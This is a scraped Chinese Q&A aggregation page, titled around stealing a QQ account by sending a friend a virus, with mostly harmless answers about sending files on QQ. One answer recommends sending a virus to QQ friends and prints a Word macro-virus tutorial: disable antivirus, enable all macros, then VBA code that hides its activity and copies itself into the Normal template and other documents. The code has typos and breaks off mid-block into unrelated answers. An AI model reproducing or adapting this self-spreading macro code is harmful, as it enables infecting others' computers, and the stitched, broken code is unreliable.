知识大全把病毒软件发送给qq好友后要怎样才能盗取他的qq号

Posted 2022-07-25 知

篇首语：勇士搏出惊涛骇流而不沉沦，懦夫在风平浪静也会溺水。本文由小常识网(cha138.com)小编为大家整理，主要介绍了知识大全把病毒软件发送给qq好友后要怎样才能盗取他的qq号相关的知识，希望对你有一定的参考价值。

把病毒软件发送给qq好友后要怎样才能盗取他的qq号

你好：根据我国的法律法规，盗取别人的QQ也是违法的行为。你现在居然公开在这里问怎么盗取别人的QQ，也真有你的！就目前来说，应该不能盗龋尤其是绑定手机的号码，你更是一点机会都没有。人家完全可以通过手机来重置密码的。

DNF怎样发送给qq好友

花个几十块买个U盘，把自己电脑里所存在的DNF复制到U盘上，然后把U盘送给他，

iphone语音备忘录怎样才能发送给qq好友

先在桌面上点语音备忘录；
选择要发送的语音备忘录；
点播放按键下面的图标；
当弹出菜单时，选择QQ;
点发送给好友；
选择QQ好友，则该名字后面有一个勾会打上；
点发送就可以把语音备忘录的内容发送出去了。

vivo叉5怎样把录音发送给qq好友

根据您的描述，您进入qq，在输入框的右边是有个语音标识的，您点击一下可以看到有有对讲和录音的功能的哦，您可以试试看的哦。

怎样把快播视频发送给qq好友

直接把源文件压缩后，打开好友聊天框，直接把压缩包放到聊天框里就行…等待传送文件！

什么软件可以注入病毒，然后通过QQ发送给好友？

你好，最简单的宏病毒可以通过word,ppt,excel等的VB编程界面进行编码，对目标计算机实施病毒破坏
下面是病毒制作教程，做好后发给你的qq好友即可，如果不清楚可以看网站：:cache.baiducontent./c?m=9f65cb4a8c8507ed4fece763104687270e54f7216b818b5e68d4e419ce3b46001d3ba6fd7d62475785d27c1043f50b4beb847065367523bc938f4fc9fecf6879873044030bf13205d269b8bb4632b223872aedb86990adf14284d8d6c4ae5044bc56120e85&p=8b2a970199b11ef213bd9b7e0e148c&newp=933dcd5bc7904ead1fbd9b7e0e149f231610db2151d4d6176b82c825d7331b001c3bbfb423231304d4c27d6d0ba54d56ebf4317534072ba3dda5c91d9fb4c57479cf&user=baidu&fm=sc&query=%BA%EA%B2%A1%B6%BE%D6%C6%D7%F7&qid=f22e2d2a0003e1ea&p1=8，祝你早日实现梦想
PS：这只是一个病毒雏形，由于涉及安全方面，并没有加入自动运行，自动感染代码段。
1. 病毒制作
2. 病毒清除
实验步骤及数据记录：
病毒制作：
1. 关闭杀毒软件，打开word 2007。
在word 2007界面中点击office ==》word 选项（I）==》在功能区显示“开发工具”选项卡(D)
如图1：

返回word界面，点击“开发工具”==》“宏安全性”，选择启动所有宏，如图2，3
打开一个word文档，Alt+F11打开宏编辑器（开发工具�8�9Visual Basic）,点击（工程
project下面的project.microsoft word.thisdecument）thisdecument，，然后开始编写宏病毒代码。
如下：
\'Document_Close
Sub Document_Close()
\'***************************************************************************************
\'屏蔽状态栏，以免显示宏病毒执行状态；修改公用模版是自动保存且不提示；自动执行病毒模板
\'**************************************************************
On Error Resume Next
Application.DisplayStatusBar = False
\'屏蔽状态栏
\'**************************************************************
Options.SaveNormalPrompt = False
\'修改公用模板时在后台自动保存，不给任何提示
\'**************************************************************
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
\'获取当前文档代码对象
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
\'获取共用模板的代码对象
\'***************************************************************************************
\'获取当前文档对象代码和共用模板对象代码
If ThisDocument = NormalTemplate Then \'判断当前文件是否等于公用模板对象
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule \'如果是，则获取当前活动文
档的代码对象
End If

\'***************************************************************************************
\'设立检查当前文档是否被感染，如果没有就自动执行复制宏病毒到模板并修改函数名操作
With host
If .Lines(1.1) <> "Document_Close()" Then \'判断当前文档是否感染病毒

.deletelines 1, .countoflines \'如果不是，就清除原来的代码

.insertlines 1, .OurcodeLines \'嵌入病毒代码

.replaceline 2, "Sub Document_Close()" \'更换 Document_Close()
If ThisDocument = NormalTemplate Then \'判断当前的文档是否等于公用模块

.replaceline 2, "Sub Document_Open()" \'如果是，则替换为 Document_Open（）
ActiveDocument.SaveAs ActiveDpcument.FullName \'保存文档，并修改函数名

End If
End If
End With

MsgBox "Smallboy of Micro Virus by Content Security Lab" \'弹出对话框
End Sub
然后保存，点击运行则弹出一个对话框，如图4：

然后在建立一个公用宏模板。开发工具==》宏（alt+F8）输入一个宏模板名字点击“创建”。如图5：

然后输入如下代码：
\'moonlight
Dim nm(4)
Sub Smallboy_Virus()
\'
\' Smallboy_Virus 宏
\'
\'
\'***************************************************************************************
\'屏蔽状态栏，以免显示宏病毒执行状态；修改公用模版是自动保存且不提示；自动执行病毒模板
On Error Resume Next
Application.DisplayStatusBar = False
\'屏蔽状态栏
\'***************************************************************************************
Options.SaveNormalPrompt = False
\'修改公用模板时在后台自动保存，不给任何提示
\'***************************************************************************************
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
\'获取当前文档代码对象
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
\'获取共用模板的代码对象
\'**************************************************************************************
\'获取当前文档对象代码和共用模板对象代码
If ThisDocument = NormalTemplate Then
\'判断当前文件是否等于公用模板对象
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
\'如果是，则获取当前活动文档的代码对象
End If

\'************************************************************************************************
\'设立检查当前文档是否被感染，如果没有就自动执行复制宏病毒到模板并修改函数名操作
With host
If .Lines(1.1) <> "Smallboy_Virus()" Then
\'判断当前文档是否感染病毒

.deletelines 1, .countoflines
\'如果不是，就清除原来的代码
.insertlines 1, .OurcodeLines
\'嵌入病毒代码
.replaceline 2, "Sub Smallboy_Virus()"
\'更换 Smallboy_Virus
If ThisDocument = NormalTemplate Then
\'判断当前的文档是否等于公用模块

.replaceline 2, "Sub Smallboy_Virus()"
\'如果是，则替换为 Smallboy_Virus
ActiveDocument.SaveAs ActiveDpcument.FullName
\'保存文档，并修改函数名（）

End If

End If
End With
\'***************************************************************************************
\'********************************************************************弹出第一个框*******
MsgBox "老乡您好！我来串门了。我谨代表党中央，国务院，中央军委，全国人民和习大大向你表示
真诚的问候和衷心地祝愿！(^_^)！ "
\'********************************************************************定义算数数据成员***
Count = 0 \'定义count=0
try: \'执行try语句
On Error GoTo 0
On Error GoTo try
test = -1 \'初始化并定义text=-1
con = 1 \'初始化并定义con=1
tog$ = "" \'初始化tog$
i = 0 \'初始化并定义i=0
\'开始执行算术数据成员的行循环语句********************************
While test = -1
\'因为之前已经定义了test=-1，所以肯定会先执行一次while循环

For i = 0 To 4
\'执行一个for循环
nm(i) = Int(Rnd() * 100)
\'将rnd（）*100的正整数结果赋值给数组nm（i）
con = con * nm(i)
\'将con*nm(i)的值传回给con

If i = 4 Then
\'如果i=4,也就是for循环结束之后，开始执行if下的语句

tog$ = tog$ + Str$(nm(4)) + "=?"
\'将tog$和Str$( nm(4))+字符串"=？"的值都传给tog$
GoTo beg \'执行beg语句

End If \'上一个if判断语句执行结束

tog$ = tog$ + Str$(nm(i)) + "*"
\'将tog$和Str$( nm(4))+字符串"*"的值都传给tog$
Next i \'返回for循环

beg:
\'显示第二个对话框，进行答题判断
Beep
ans$ = InputBox("今天是" + Date$ + "，我们玩个心算游戏可好？" + Chr$(13) + "如果你答错了，
我将代表月亮消灭你！" + Chr$(13) + tog$, "Smallboy")
\'显示心算题，和输入心算结果
\'*******************************输入运算结果后将要执行的语句\'
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
\'判断ans$与con是否相等，这是是主要的if判断语句，是下面进行操作的主要依据
\'输入答案正确后将要执行的语句\'*****************************************
MsgBox "恭喜您答对了！我代表党中央，国务院，中央军委，全国人民和习大大向你表示热烈的
祝贺！（^_^）！"

\'************设置文本格式，字体***************************************************

\'Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
\' 设置居中对齐

Beep
With Selection.Font
\'设置文本字体

.Name = "黑体"
\'设置文本字体为黑体
.Size = 16
\'设置文本字体大小为16
.Bold = 1
\'设置文本字体为粗体
.Underline = 1
\'设置文本字体为下划线
.Color = wdColorRose
\'设置文本字体问玫瑰红色

End With

Selection.InsertAfter Text = "什么是宏病毒？" \'嵌入文本
Selection.InsertParagraphAfter \'换行

Beep
Selection.InsertAfter Text:="答案：" \'嵌入文本
Selection.Font.Italic = 1 \'设置文本字体为斜体
Selection.InsertAfter Text:="你妹啊，我不是！" \'嵌入文本
Selection.InsertParagraphAfter \'换行
Selection.InsertParagraphAfter \'换行
Selection.Font.Italic = 0 \'撤销文本为斜体

Beep
Selection.InsertAfter Text:="如何防御宏病毒" \'嵌入文本
Selection.InsertParagraphAfter \'换行
Selection.InsertParagraphAfter \'换行

Beep
Selection.InsertAfter Text:="答案：" \'嵌入文本
Selection.Font.Italic = 1 \'设置文本字体为斜体
Selection.InsertAfter Text:="别看我，我不知道……" \'嵌入文本

MsgBox "按确定键，我将告诉你一个秘密……", "好吧，告诉你吧！我就是梧州学院Small
boy_Virus！"
GoTo out \'退出goto语句

\'****输入答案不正确后将要执行的语句****************************************
Else \'执行else语句，也就是回答错误后将要执行的
Count = Count + 1 \'count++，本来count初始化为0
For j = 1 To 20 \'执行循环语句，循环20次

Beep
Documents.Add \'增加一个现在这个文档
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
\'设置文本格式为居中对齐
Selection.InsertAfter Text:="宏病毒" \'嵌入一个文本
If Count = 2 Then GoTo out
\'判断是否执行打开该文本操作够2个20次，如果够了就退出goto语句

怎样将歌曲发送给QQ好友

QQ好友上线时，用聊天窗口的传送文件，选中你要的歌曲确定即可！

手机有病毒软件怎样才能删除病毒软件

手机中毒了可以安装腾讯手机管家杀毒，它的杀毒功能很好用。
它可以自动更新病毒库，里面有最新的病毒的资料，可以查杀最新的病毒。
杀毒防护二合一，即可以查查病毒在什么位置杀毒，还可以预防病毒的入侵。
腾讯手机管家能有效清除侵入您手机中的恶意软件和病毒。

怎么把图片发送给QQ好友

聊天框里一排图标,第一个大写的A是改变字体颜色和格式的,第四个就是发送图片,点击进入后选择目录中需要发送的文件即可
或者是上面第一排视频挨着的那个是传送文件,也可以用
不管哪种方法你都要找你的图片的所在位置,发送就可以了
不成功的话可以多发几次

知识大全 把病毒软件发送给qq好友后要怎样才能盗取他的qq号